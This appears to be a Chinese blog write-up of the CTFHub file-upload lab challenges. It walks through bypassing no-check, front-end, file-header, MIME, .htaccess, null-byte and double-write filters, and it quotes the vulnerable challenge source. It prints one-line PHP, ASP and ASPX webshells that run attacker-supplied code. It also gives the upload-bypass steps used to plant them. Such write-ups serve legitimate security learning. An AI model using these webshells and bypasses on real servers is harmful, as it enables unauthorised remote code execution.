CTFHUB-文件上传
php的一句话木马: <?php @eval($_POST['pass']);?> asp的一句话是: <%eval request ("pass")%> aspx的一句话是: <%@ Page Language="Jscript"%> <%eval(Request.Item["pass"],"unsafe");%>
无验证:
直接创建一句话木马并命名为shel.php然后直接上传,shell管理工具连接url+upload/shell.php,密码为ksk;
一句话木马:
<?php @eval($_POST['ksk']); ?>
前端验证
将php改成jpg后缀,在改包工具中修改后缀为php即可!
function checkfilesuffix() { var file=document.getElementsByName('file')[0]['value']; if(file==""||file==null) { alert("请添加上传文件"); return false; } else { var whitelist=new Array(".jpg",".png",".gif"); var file_suffix=file.substring(file.lastIndexOf(".")); if(whitelist.indexOf(file_suffix) == -1) { alert("该文件不允许上传"); return false; } } }
文件头检测
文件类型不正确, 只允许上传 jpeg jpg png gif 类型的文件
用terminal来copy不行,powershell也不可以,但是使用cmd就可以!
把1.php的后缀改成1.png,然后上传文件,使用burp拦截。
使用shell管理工具连接
MIME绕过
源码:
<?php header("Content-type: text/html;charset=utf-8"); error_reporting(0); //设置上传目录 define("UPLOAD_PATH", dirname(__FILE__) . "/upload/"); define("UPLOAD_URL_PATH", str_replace($_SERVER['DOCUMENT_ROOT'], "", UPLOAD_PATH)); if (!file_exists(UPLOAD_PATH)) { mkdir(UPLOAD_PATH, 0755); } if (!empty($_POST['submit'])) { if (!in_array($_FILES['file']['type'], ["image/jpeg", "image/png", "image/gif", "image/jpg"])) { echo "<script>alert('文件类型不正确')</script>"; } else { $name = basename($_FILES['file']['name']); if (move_uploaded_file($_FILES['file']['tmp_name'], UPLOAD_PATH . $name)) { echo "<script>alert('上传成功')</script>"; echo "上传文件相对路径<br>" . UPLOAD_URL_PATH . $name; } else { echo "<script>alert('上传失败')</script>"; } } } ?> <!DOCTYPE html> <html> <head> <meta charset="UTF-8"> <title>CTFHub 文件上传 - MIME验证</title> </head> <body> <h1>CTFHub 文件上传 - MIME验证</h1> <form action="" method="post" enctype="multipart/form-data"> <label for="file">Filename:</label> <input type="file" name="file" id="file" /> <br /> <input type="submit" name="submit" value="Submit" /> </form> </body> </html>
和文件头检测一样修改了一下后缀名然后也成功了,不理解MIME的考点在哪里,所以就百度了一下::
MIME类型就是服务端会检测Content-Type的值
常见的MIMT类型有:
image/jpeg image/png image/gif image/jpg
.htaccess
htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置。通过htaccess文件,可以帮我们实现:网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能。
上传.htaccess文件,使他可以成功解析jpg文件为php文件。
然后上传shell.jpg,shell管理工具直接连接就可以了!
因为打错字弄了半天没弄出来...
00截断
源码:
<?php header("Content-type: text/html;charset=utf-8"); error_reporting(0); //设置上传目录 define("UPLOAD_PATH", dirname(__FILE__) . "/upload/"); define("UPLOAD_URL_PATH", str_replace($_SERVER['DOCUMENT_ROOT'], "", UPLOAD_PATH)); if (!file_exists(UPLOAD_PATH)) { mkdir(UPLOAD_PATH, 0755); } if (!empty($_POST['submit'])) { $name = basename($_FILES['file']['name']); $info = pathinfo($name); $ext = $info['extension']; $whitelist = array("jpg", "png", "gif"); if (in_array($ext, $whitelist)) { $des = $_GET['road'] . "/" . rand(10, 99) . date("YmdHis") . "." . $ext; if (move_uploaded_file($_FILES['file']['tmp_name'], $des)) { echo "<script>alert('上传成功')</script>"; } else { echo "<script>alert('上传失败')</script>"; } } else { echo "文件类型不匹配"; } } ?> <!DOCTYPE html> <html> <head> <meta charset="UTF-8"> <title>CTFHub 文件上传 - 00截断</title> </head> <body> <h1>CTFHub 文件上传 - 00截断</h1> <form action=<?php echo "?road=" . UPLOAD_PATH; ?> method="post" enctype="multipart/form-data"> <label for="file">Filename:</label> <input type="file" name="file" id="file" /> <br /> <input type="submit" name="submit" value="Submit" /> </form> <!-- if (!empty($_POST['submit'])) { $name = basename($_FILES['file']['name']); $info = pathinfo($name); $ext = $info['extension']; $whitelist = array("jpg", "png", "gif"); if (in_array($ext, $whitelist)) { $des = $_GET['road'] . "/" . rand(10, 99) . date("YmdHis") . "." . $ext; if (move_uploaded_file($_FILES['file']['tmp_name'], $des)) { echo "<script>alert('上传成功')</script>"; } else { echo "<script>alert('上传失败')</script>"; } } else { echo "文件类型不匹配"; } } --> </body> </html>
双写绕过
改写成:shell.pphphp,服务器会过滤php这三个字。
分类:
CTF / CTFHUB
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 阿里最新开源QwQ-32B,效果媲美deepseek-r1满血版,部署成本又又又降低了!
· 开源Multi-agent AI智能体框架aevatar.ai,欢迎大家贡献代码
· Manus重磅发布:全球首款通用AI代理技术深度解析与实战指南
· 被坑几百块钱后,我竟然真的恢复了删除的微信聊天记录!
· AI技术革命,工作效率10个最佳AI工具